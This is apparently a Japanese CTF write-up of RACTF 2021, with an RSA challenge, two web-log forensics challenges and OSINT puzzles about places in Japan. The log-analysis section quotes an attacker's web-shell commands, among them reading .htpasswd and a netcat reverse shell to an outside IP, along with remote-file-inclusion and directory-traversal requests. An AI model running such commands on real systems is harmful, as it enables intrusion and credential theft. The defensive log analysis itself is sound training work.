green_bar.png Save The Earth! Save The Earth! - 地球環境を守ろう! Save The Earth! green_bar.png

URL: https://digitaloverdose.ractf.co.uk/

2900点を獲得し、チームとしては68位、個人では38位でした。

なお、参加チームは719、参加プレーヤーは1118人だったようです。



チーム順位:

ractf_2021_Score1.png



個人順位:

ractf_2021_Score2.png



チャレンジのリストです。

ractf_2021_chall1.png

普段はOSINT系のチャレンジはあんまりやらないんですが、日本の場所を当てるやつだったので頑張って全部解きました。



ractf_2021_chall2.png



ractf_2021_chall3.png

これは、Rainbow Tableを参照したり、John the ripper や Hashcat を使って全部解けました。



ractf_2021_chall4.png



ractf_2021_chall5.png



ractf_2021_chall6.png



ractf_2021_chall6.png



ractf_2021_chall7.png



ractf_2021_chall8.png



ractf_2021_chall9.png



ractf_2021_chall10.png



ractf_2021_chall11.png



[Crypto]: Constant Primes (75 points)


Challenge

RSA is the hardest and most non-repetitive asymmetric key encryption.

This is your first time seeing one, right? Well be prepared, you will not find the flag.

I have given you this key (id_rsa file), it’s this random base64 string, no way you’ll know what to do with it.

The ciphertext is 0x2085f3d3573cd709fad84bed9fe8dde419fb7c8e96aa95ec4651a3bc07b5552f321e03404943744d931a4a51a817cf190880a5efbf94aa828c45da5b31dcdefc

Attachment:

  • id_rsa (RSA PRIVATE KEY)


Solution

まず、ssh-keygen を実行してみたのですが、エラーになりました。。

$ ssh-keygen -f id_rsa -e -m pem | openssl asn1parse
Load key "id_rsa": Invalid key length
Error: offset out of range


以下のコードで、ne は取れました。

1
2
3
4
5
6
7
8
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from Crypto.PublicKey import RSA

key = RSA.importKey(open('id_rsa', 'r').read())
print(key.n)
print(key.e)

実行結果:

$ ./read_key.py
6682669787535606635993287896641983501298577520322405381880667699429293248249880135523414618303313461640928583929883384586229757283439591741435143918813267
65537

n, e, c が揃えば、あとは RsaCtfTool.py で解けます。

反転したものが出てくるので、rev してフラグが得られます。

$ ~/Python3/RsaCtfTool/RsaCtfTool.py -n 6682669787535606635993287896641983501298577520322405381880667699429293248249880135523414618303313461640928583929883384586229757283439591741435143918813267 -e 65537 --uncipher 1703380908157528283172041137132390349496157838445725605013427432689517712852707895688494322667218403379009536599334770578485119117275052717689607980637948
[+] Clear text : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}drah_taht_t0n_s1_ASR{OD'

$ echo }drah_taht_t0n_s1_ASR{OD | rev
DO{RSA_1s_n0t_that_hard}


Flag: DO{RSA_1s_n0t_that_hard}





[Log Analysis]: Part 1 - Ingress (100 points)


Challenge

Our website was hacked recently and the attackers completely ransomwared our server!

We’ve recovered it now, but we don’t want it to happen again.

Here are the logs from before the attack, can you find out what happened?

Attachment:

  • attack.log


Solution

ログはスペース文字(white space)で区切られていて、フィールドは以下のようになっています。

$ head -n1 attack.log
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken

6番目のcs-uri-queryを見ていくと、Base64でエンコードされた文字列が出てきます。

$ cat attack.log | cut -d" " -f6 | sort -u
-
cmd%3Dcat+%2Fvar%2Fwww%2F.htpasswd
cmd%3Dcat+RE97YmV0dGVyX3JlbW92ZV90aGF0X2JhY2tkb29yfQ==
:
(snip)
:

これをデコードするとフラグが得られます。

$ echo RE97YmV0dGVyX3JlbW92ZV90aGF0X2JhY2tkb29yfQ== | base64 -d
DO{better_remove_that_backdoor}

なお、このときのattackerのIPアドレスは 20.132.161.193 なので、それでフィルターすると、より詳しく攻撃内容がわかります。

$ grep RE97YmV0dGVyX3JlbW92ZV90aGF0X2JhY2tkb29yfQ attack.log | cut -d" " -f9
20.132.161.193

$ grep 20.132.161.193 attack.log | cut -d" " -f1,2,3,4,5,6
2021-09-06 20:43:00 135.233.142.30 GET runtime-es2015.43df09c2199138dc23a5.js -
2021-09-06 20:43:00 135.233.142.30 GET main-es2015.5dfab9e1774faff15645.js -
2021-09-06 20:43:00 135.233.142.30 GET faq locale=http://bglzqntj.io:19/bglzqntj.txt%00
2021-09-06 20:43:21 135.233.142.30 GET runtime-es2015.43df09c2199138dc23a5.js -
2021-09-06 20:43:21 135.233.142.30 GET assets/images/community/cal-bg.svg -
2021-09-06 20:43:21 135.233.142.30 GET assets/images/ctf/2021-01/offsec-logo.svg -
2021-09-06 20:43:21 135.233.142.30 GET faq locale=http://ronworwu.io:0/ronworwu.txt%00
2021-09-06 20:43:33 135.233.142.30 GET 6-es2015.2c367e3b65026d7698d3.js -
2021-09-06 20:43:33 135.233.142.30 GET main-es5.5dfab9e1774faff15645.js -
2021-09-06 20:43:33 135.233.142.30 GET runtime-es5.43df09c2199138dc23a5.js -
2021-09-06 20:43:33 135.233.142.30 GET faq locale=http://rnugvbtp.io:26/rnugvbtp.txt%00
2021-09-06 20:43:51 135.233.142.30 GET cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js -
2021-09-06 20:43:51 135.233.142.30 GET faq locale=http://xyztftsz.io:7/xyztftsz.txt%00
2021-09-06 20:43:59 135.233.142.30 GET assets/images/community/cal-bg.svg -
2021-09-06 20:43:59 135.233.142.30 GET main-es5.5dfab9e1774faff15645.js -
2021-09-06 20:43:59 135.233.142.30 GET 6-es2015.2c367e3b65026d7698d3.js -
2021-09-06 20:43:59 135.233.142.30 GET faq locale=http://ejlaadxk.io:4/ejlaadxk.txt%00
2021-09-06 20:44:19 135.233.142.30 GET ywesusnz cmd%3Dcd+..
2021-09-06 20:44:45 135.233.142.30 GET ywesusnz cmd%3Dpwd
2021-09-06 20:45:04 135.233.142.30 GET ywesusnz cmd%3Dwhoami
2021-09-06 20:45:16 135.233.142.30 GET ywesusnz cmd%3Dhostname
2021-09-06 20:45:46 135.233.142.30 GET ywesusnz cmd%3Dnetstat+-peanut
2021-09-06 20:46:04 135.233.142.30 GET ywesusnz cmd%3Dcat+%2Fvar%2Fwww%2F.htpasswd
2021-09-06 20:46:12 135.233.142.30 GET ywesusnz cmd%3Dcat+RE97YmV0dGVyX3JlbW92ZV90aGF0X2JhY2tkb29yfQ==
2021-09-06 20:46:19 135.233.142.30 GET ywesusnz cmd%3Dnc+-e+%2Fbin%2Fsh+207.35.160.84+4213


Flag: DO{better_remove_that_backdoor}





[Log Analysis]: Part 2 - Investigation (150 points)


Challenge

Thanks for finding the RFI vulnerability in our FAQ. We have fixed it now, but we don’t understand how the attacker found it so quickly.

We suspect it might be an inside job, but maybe they got the source another way. Here are the logs for the month prior to the attack, can you see anything suspicious?

Please submit the attackers IP as the flag as follow, DO{x.x.x.x}

Attachment:

  • more.log


Solution

これはイベント中に解けなかったやつなんですが、他の方のWriteupを見ると、DO{45.85.1.176} がフラグだったみたいですね。

これはおかしいです。おそらくフラグが間違って設定されていたと思われます。

45.85.1.176 はサーバのIPアドレスなので、attacker’s IP ではありません。

3番目に出てくる s-ip は、server IPで、9番目に出てくる c-ip が client IP です。実際、s-ipは、全てのログで 45.85.1.176 になっています(以下)。

$ head -n1 attack.log
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken

$ cat more.log | cut -d" " -f3 | sort -u
45.85.1.176

Attackerのログは、実は結構明確で、directory traversalを使っていろいろファイルを取ろうと試みていて、ほとんどが404でエラーになってます。
$ grep "\.\.//" more.log | head | cut -d" " -f4,5,6,7,8,9,11,12
GET ../..//passwords.bckp - 443 - 200.13.84.124 - 404
GET ..//configuration.3 - 443 - 200.13.84.124 - 404
GET ../../..//db_config.1 - 443 - 200.13.84.124 - 404
GET ../..//login.txt - 443 - 200.13.84.124 - 404
GET ../..//auth.zip - 443 - 200.13.84.124 - 404
GET ..//db.saved - 443 - 200.13.84.124 - 404
GET ..//auth.saved - 443 - 200.13.84.124 - 404
GET ../../..//db_config.old - 443 - 200.13.84.124 - 404
GET ../../..//admin.older - 443 - 200.13.84.124 - 404
GET ..//login.bckp - 443 - 200.13.84.124 - 404


まぁ、これだけで attacker’s IP は 200.13.84.124 でほぼ確定なんですが、更に見ていくと、ほとんどのGETリクエストが404で失敗している中で、ひとつだけ200 OKで成功しているログがあります。

以下で、backup.zipの取得に成功しています。チャレンジ文の、maybe they got the source にマッチするものと考えられます。

$ grep 200.13.84.124 more.log | grep -v 404
2021-08-03 08:55:00 45.85.1.176 GET backup.zip - 443 - 200.13.84.124 Mozilla/5.0+(Windows+NT+5.1;+RE97czNjcjN0X19fYWdlbnR9;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/60.0.3112.90+Safari/537.36 - 200 0 0 25


ちなみに、このときのUser-Agentも怪しくて、RE97czNjcjN0X19fYWdlbnR9 はデコードすると別フラグが得られます。(Part 3 - Backup Policyのフラグだったようです。)

$ echo RE97czNjcjN0X19fYWdlbnR9 | base64 -d
DO{s3cr3t___agent}


ということで、フラグは

Flag: DO{45.85.1.176}

ではなく、

Flag: DO{200.13.84.124}

だと思います。





[OSINT: Tour de Japan]: 1 - Dare enter the mirror world (50 points)


Challenge

Where was this photo taken from?

Challenge_1.jfif


Solution

表参道にある東急プラザの入り口ですね。


Flag: DO{Tokyu_Plaza}





[OSINT: Tour de Japan]: 2 - The land of culture (75 points)


Challenge

Where was this photo taken from?

Challenge_2.jfif


Solution

拡大してみると、秋葉原 COMIC ZIN があるのが見えるので、これをヒントにGoogle Mapを使いました。

対面から写真を撮っているので、Mapをベースに対面を確認すると、そこにはビックカメラがあります。


Flag: DO{Bic_Camera_Akiba}





[OSINT: Tour de Japan]: 3 - A childhood favourite (100 points)


Challenge

Where is this Pokémon?

Challenge_3.jfif


Solution

ミジュマル というポケモンなのはすぐわかったんですが、場所を見つけるのに苦労しました。

Google Lensでサーチしたら、池袋サンシャインシティ にある ポケモンセンターメガ東京 という場所なのがわかりました。

トライ・アンド・エラーした結果、サンシャインシティ がフラグでした。


Flag: DO{Sunshine_City}





[OSINT: Tour de Japan]: 4 - One of the classics (100 points)


Challenge

Where was this photo taken from?

Challenge_4.jpeg


Solution

ストリートファイターのリュウの置物があるお店のようです。

ryu hadouken otaku shop でGoogleサーチしたら、渋谷のパルコにあるお店のようですね。


Flag: DO{Shibuya_Parco}





[OSINT: Tour de Japan]: 5.a - The Central Hub (75 points)


Challenge

What building is in this picture?

Challenge_5.jfif


Solution

これは調べるまでもなく、東京駅です。


Flag: DO{Tokyo_Station}





[OSINT: Tour de Japan]: 5.b - This way, Emperor Naruhito (75 points)


Challenge

Where was this photo taken from?

(写真は 5.a と同じです。)


Solution

これは相当悩みました。。

DO{Tokyo_Marunouchi_Minamiguchi}
DO{Marunouchi_Minamiguchi}
DO{Marunouchi_Minamiguchi}
DO{Tokyo_Station_Marunouchi_Building}
DO{Tokyo_Station_Marunouchi}
DO{Tokyo_Station_Marunouchi_Minamiguchi}
DO{Tokyo_Station_Marunouchi_Building_Minamiguchi}
DO{Marunouchi_Ekisha_Minamiguchi}
DO{Marunouchi_Building_Minamiguchi}
DO{Marunouchi_Building}
DO{Tokyo_Station_Hotel}
DO{Tokyo_Station_City}
DO{Tokyo_Station}
DO{Tokyo_Chiyoda_City}
DO{Tokyo_Chiyoda}
DO{Tokyo_Station_Marunouchi_Station_Building}
DO{Marunouchi_Station_Building}
DO{Tokyo_Marunouchi_Station_Building}
DO{Station_Building}
DO{Tokyo_Station_Building}
DO{Marunouchi_Ekisha}
DO{Tokyo_Marunouchi_Ekisha}
DO{Tokyo_Station_Marunouchi_Ekisha}
DO{Tokyo_Marunouchi_Ekisha_Minamiguchi}
DO{Tokyo_Station_Marunouchi_Ekisha_Minamiguchi}
DO{Tokyo_Station_Marunouchi_station_building}
DO{Marunouchi}
DO{Tokyo_Marunouchi}
DO{Marunouchi_Ekimae_Hiroba}
DO{Ekimae_Hiroba}
DO{Tokyo_Marunouchi_Ekimae_Hiroba}
DO{Tokyo_Eki_Marunouchi_Ekimae_Hiroba}
DO{Miyuki_Dori}
DO{Miyuki_Dori_Street}
DO{Tokyo_Station_Ekimae_Hiroba}
DO{Marunouchi_Daini_Hiroba}
DO{Tokyo_Station_Marunouchi_Ekimae_Hiroba}
DO{Tokyo_Marunouchi_Ekisha}
DO{Central_Stop}
DO{Tokyo_Marunouchi_Central_Stop}
DO{Tokyo_Station_Central_Stop}
DO{Marunouchi_Guchi}
DO{Marunouchiguchi}
DO{Miyuki_Street}
DO{Marunouchi_Plaza}
DO{Gyoko-Dori_Ave}

たぶん、こんなに間違ったのは自分だけかもしれません。。


今日の教訓:トライ・アンド・エラーばかりではなく、ちゃんと写真を解析して解くことが大事!!


写真をよくみると、撮影位置と駅の間にガードレールがあり、道が通っています。

また、撮影位置のところには、タイルがきれいに四角く色分けされてます。

Google Street Viewでクリックして移動していったら、該当箇所が見つかりました。

Challenge_5.png


Flag: DO{Gyoko-Dori}





[OSINT: Tour de Japan]: 6 - Along the waterways we go (75 points)


Challenge

Where was this photo taken from?

Challenge_6.jfif


Solution

「こんなのわかるかよ!」と思いつつ、Google Lensでサーチしたら一発で 小名木川 が出てきました。

Google Lens、凄い!


Flag: DO{Onagi_River}





[OSINT: Tour de Japan]: 7 - A box of mystery (100 points)


Challenge

Where was this photo taken from?

Challenge_7.jpg


Solution

Google Lensでサーチしたら、以下のPDF(国土技術政策総合研究所 研究資料)が見つかりました。

http://www.nilim.go.jp/lab/bcg/siryou/tnn/tnn0572pdf/ks057208.pdf

逆に、これ以外の情報は全く見つからなかったです。

千鳥ヶ淵にある換気所のようです。

この資料にはマップも載っていて、この換気塔の対面にあるのは イギリス大使館 なので、それが答えです。


Flag: DO{British_Embassy}





[OSINT: Tour de Japan]: 8 - A staple drink of Japan (50 points)


Challenge

What is this drink called?

Challenge_8.jfif


Solution

これも結構悩んだんですが、テキトーに メロンソーダ を入れたら当たりました。

これって、日本の飲み物なのかな。確かに、外国には メロンソーダ っていうのは無いかも。


Flag: DO{Melon_Soda}





[OSINT: Tour de Japan]: 9 - A concrete jungle’s forest heart (50 points)


Challenge

Where was this photo taken from?

Challenge_9.jfif


Solution

Google Lensで以下のアメブロが見つかりました。

https://ameblo.jp/gentle-spwj/entry-12423563923.html

目黒の八芳園です。確か、前に行ったことあります。


Flag: DO{Happo-en}





[OSINT: Tour de Japan]: 10 - An answer in plain sight (250 points)


Challenge

Where sector was this photo taken from?

Challenge_10.jfif


Solution

250点問題だけあって、なかなか手強かったです。

荒川西日三 という文字が見えるので、荒川区 西日暮里 3丁目 なのはすぐわかります。でも、それは答えじゃありません。

右上にはホテルの看板のようなものがあり、荒川 西日暮里 3丁目 おんぼろホテル でサーチしたら 谷中 富士見ホテル であることもわかりました。

ただ、その下の ←30M の文字を見逃していたので、富士見ホテルのところで写真を撮ったのと勘違いしてフラグが全然通りませんでした。

つまり写真を撮った場所は 富士見ホテルから30M離れた場所 でした。

Google Mapで富士見ホテルの半径30Mのエリアを探し、Street Viewで確認すると、ありました!

Challenge_10.png

谷中 大島酒店 です。でも、これはまだ答えではありません。


わたしは知らなかったんですが、この場所、夕焼けだんだん という有名な場所らしいですね。


なにかヒントがあるかと思って 夕焼けだん団 の動画(https://www.youtube.com/watch?v=kPK75vVniNg)を見てたら、「谷中」の読み方は「タニナカ」じゃなくて「ヤナカ」であることがわかりました。

結構、早い段階で「谷中」に辿り着いていたのに、漢字が読めてなかっただけとは。。。


Flag: DO{Yanaka}





[OSINT: Tour de Japan]: 11 - An island of mascots (150 points)


Challenge

Where in Japan does this mascot represent?

Challenge_11.jfif


Solution

あまみ市 って書いてあるし。


Flag: DO{Amami}





[OSINT: Tour de Japan]: 12 - A story of the ages (75 points)


Challenge

What mythological creature is this?

Challenge_12.jfif


Solution

ぶんぶく茶釜ですね。

DO{Raccoon}
DO{Bunbuku_Chagama}
DO{Fox}
DO{Raccoon_Dog}

普通に タヌキ が正解でした。


Flag: DO{Tanuki}





[OSINT: Tour de Japan]: 13 - The river of Sakura (75 points)


Challenge

Where was this photo taken from?

Challenge_13.jfif


Solution

これは、調べるまでもなく、目黒川です。


Flag: DO{Meguro_River}